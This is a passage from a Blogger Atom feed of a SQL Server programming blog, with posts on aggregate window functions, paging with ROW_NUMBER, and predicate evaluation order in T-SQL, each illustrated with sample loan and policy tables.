&lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;customer_nbr, loan_nbr, loan_amount,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: fuchsia;"&gt;COUNT&lt;/span&gt;(*) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;cnt&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;L&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;cnt &amp;gt;= 2;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Resources:&lt;br /&gt;&lt;br /&gt;OVER Clause&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/ms189461.aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/ms189461.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-7371690839419868350?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/7371690839419868350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=7371690839419868350' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7371690839419868350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7371690839419868350'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/11/aggregate-window-functions.html' title='Aggregate Window Functions'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-4248874236574240024</id><published>2008-11-11T10:05:00.000-05:00</published><updated>2008-11-11T17:04:15.840-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql server'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>Paging with Ranking Functions</title><content type='html'>Paging through result sets is a very common need in applications. It provides a convenient way to deliver small chunks of data to the client application, minimizing network traffic and allowing end users to browse data in page size format.&lt;br /&gt;&lt;br /&gt;There are different methods to accomplish the paging, both on client and server side. The introduction of the ranking functions in SQL Server 2005 (and SQL Server 2008) provides another efficient tool to implement paging. &lt;br /&gt;&lt;br /&gt;The following example demonstrates paging utilizing the ROW_NUMBER function. Here it helps to generate sequence for each row ordered by the loan date column, and the sequence is later used to split the result set into pages.&lt;br /&gt; &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Loans (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt; &lt;span style="color: blue;"&gt;PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_date &lt;span style="color: blue;"&gt;DATETIME &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_amount &lt;span style="color: blue;"&gt;DECIMAL&lt;/span&gt;(12, 2) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;0.0,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; customer_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_type &lt;span style="color: blue;"&gt;CHAR&lt;/span&gt;(1) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;CHECK &lt;/span&gt;(loan_type &lt;span style="color: gray;"&gt;IN &lt;/span&gt;(&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;,&amp;nbsp; &lt;span style="color: green;"&gt;-- personal&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;)) &lt;span style="color: green;"&gt;-- business&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; );&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Loans &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'20080801'&lt;/span&gt;, 12000.00, 2, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (2, &lt;span style="color: #a31515;"&gt;'20080805'&lt;/span&gt;, 15700.00, 1, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (3, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 12000.00, 3, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (4, &lt;span style="color: #a31515;"&gt;'20080401'&lt;/span&gt;, 5000.00, 1, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (5, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 25000.00, 4, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (6, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 25000.00, 5, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (7, &lt;span style="color: #a31515;"&gt;'20080501'&lt;/span&gt;, 1000.00, 6, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (8, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 6000.00, 7, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (9, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 8, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (10, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 1000.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (11, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 5500.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (12, &lt;span style="color: #a31515;"&gt;'20080615'&lt;/span&gt;, 1000.00, 11, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (13, &lt;span style="color: #a31515;"&gt;'20080820'&lt;/span&gt;, 6000.00, 12, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (14, &lt;span style="color: #a31515;"&gt;'20080510'&lt;/span&gt;, 28000.00, 6, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (15, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (16, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 1500.00, 8, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (17, &lt;span style="color: #a31515;"&gt;'20080817'&lt;/span&gt;, 10000.00, 10, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (18, &lt;span style="color: #a31515;"&gt;'20080816'&lt;/span&gt;, 2500.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;);&amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Paging&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@page_size &lt;span style="color: blue;"&gt;INT &lt;/span&gt;= 5;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@page_nbr&amp;nbsp; &lt;span style="color: blue;"&gt;INT &lt;/span&gt;= 4;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WITH &lt;/span&gt;LoansRanked (loan_date, loan_amount, loan_type, seq) &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_date, loan_amount, loan_type,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;ROW_NUMBER&lt;/span&gt;() &lt;span style="color: blue;"&gt;OVER &lt;/span&gt;(&lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;loan_date, loan_nbr)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_date, loan_amount, loan_type, seq &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;LoansRanked&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;seq &amp;gt; (@page_nbr - 1) * @page_size &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; &lt;span style="color: gray;"&gt;AND &lt;/span&gt;seq &amp;lt;= @page_nbr * @page_size;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;Results (4th page which contains only 3 rows):&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;loan_date &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;loan_amount &lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;loan_type seq&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;----------------------- ------------- --------- ----&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2008-08-16 00:00:00.000 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;2500.00 &lt;/span&gt; &lt;span style="color: green;"&gt;P &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;16&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2008-08-17 00:00:00.000 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;10000.00 &lt;/span&gt; &lt;span style="color: green;"&gt;B &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;17&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2008-08-20 00:00:00.000 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;6000.00 &lt;/span&gt; &lt;span style="color: green;"&gt;P &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;18&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-4248874236574240024?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/4248874236574240024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=4248874236574240024' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/4248874236574240024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/4248874236574240024'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/11/paging-with-ranking-functions.html' title='Paging with Ranking Functions'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-1776710822397840165</id><published>2008-10-20T23:05:00.001-04:00</published><updated>2008-11-13T23:09:00.446-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Predicates in SQL</title><content type='html'>One of the most confusing topics for developers coming from traditional languages like C, C++, Java, C#, and VB to SQL, is the evaluation of predicates. In most languages predicate logic is evaluated left to right. SQL is a different story. It follows the concept of all-at-once operations. This means all logical predicates will be evaluated at the same time. In practice, the SQL engine is free to process the logical expressions in any order it finds appropriate and cost effective to retrieve the data.&lt;br /&gt;&lt;br /&gt;Below is example to illustrate this behavior. Given a table with account policies, where a policy may be represented only as numeric values for certain accounts, and a mix of alpha-numeric characters for other accounts. Knowing that account 2 has policies that can be represented only as numeric values, the goal is to retrieve policies that are greater than 50000. &lt;br /&gt;&lt;br /&gt;An attempt to add a first predicate to filter on account 2 and then a second one to select policies greater than 50000 will fail. Even if the query is formed with a derived table to extract first all policies for account 2 and then the outer query filters on the policy, it will not work. The derived table is expanded in the main query plan and a single query plan is produced. Then the query engine is free to push up and down the predicates in the plan as it finds efficient.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;AccountPolicies (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;account_nbr &lt;span style="color: blue;"&gt;INT&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;policy &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(20),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;span style="color: blue;"&gt;PRIMARY KEY &lt;/span&gt;(account_nbr, policy));&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'P1000234'&lt;/span&gt;); &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'P1020256'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'1001'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'5002'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'50001'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'50005'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;AccountPolicies &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'P50005'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Second predicate may be evaluated first&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- resulting in conversion error&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;account_nbr, policy&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;AccountPolicies&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;account_nbr = 2&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; &lt;span style="color: gray;"&gt;AND&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CAST&lt;/span&gt;(policy &lt;span style="color: blue;"&gt;AS INT&lt;/span&gt;) &amp;gt; 50000;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- The derived table is expended in the&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- query plan and predicates can be pushed&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- up or down in the plan &lt;/span&gt; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;account_nbr, policy&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;account_nbr, policy&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;AccountPolicies&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;account_nbr = 2) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;P&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CAST&lt;/span&gt;(policy &lt;span style="color: blue;"&gt;AS INT&lt;/span&gt;) &amp;gt; 50000;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;One way to solve this is to use a CASE expression to force the desired evaluation because WHEN clauses in CASE are evaluated in order. This solution not only demonstrates how to handle the evaluation process, but adds verification that only policies with numeric values are casted (as usual business rules change and later account 2 may be allowed to create policies with alpha-numeric characters).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Enforce sequence of evaluating conditions&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- and cast only valid values &lt;/span&gt; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;account_nbr, policy&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;AccountPolicies&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE CASE &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;WHEN &lt;/span&gt;account_nbr = 2&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;THEN CASE &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;WHEN &lt;/span&gt;policy &lt;span style="color: gray;"&gt;NOT LIKE &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'%[^0-9]%'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;THEN CASE &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CAST&lt;/span&gt;(policy &lt;span style="color: blue;"&gt;AS INT&lt;/span&gt;) &amp;gt; 50000&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;THEN &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'True'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'False'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;END&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'False'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 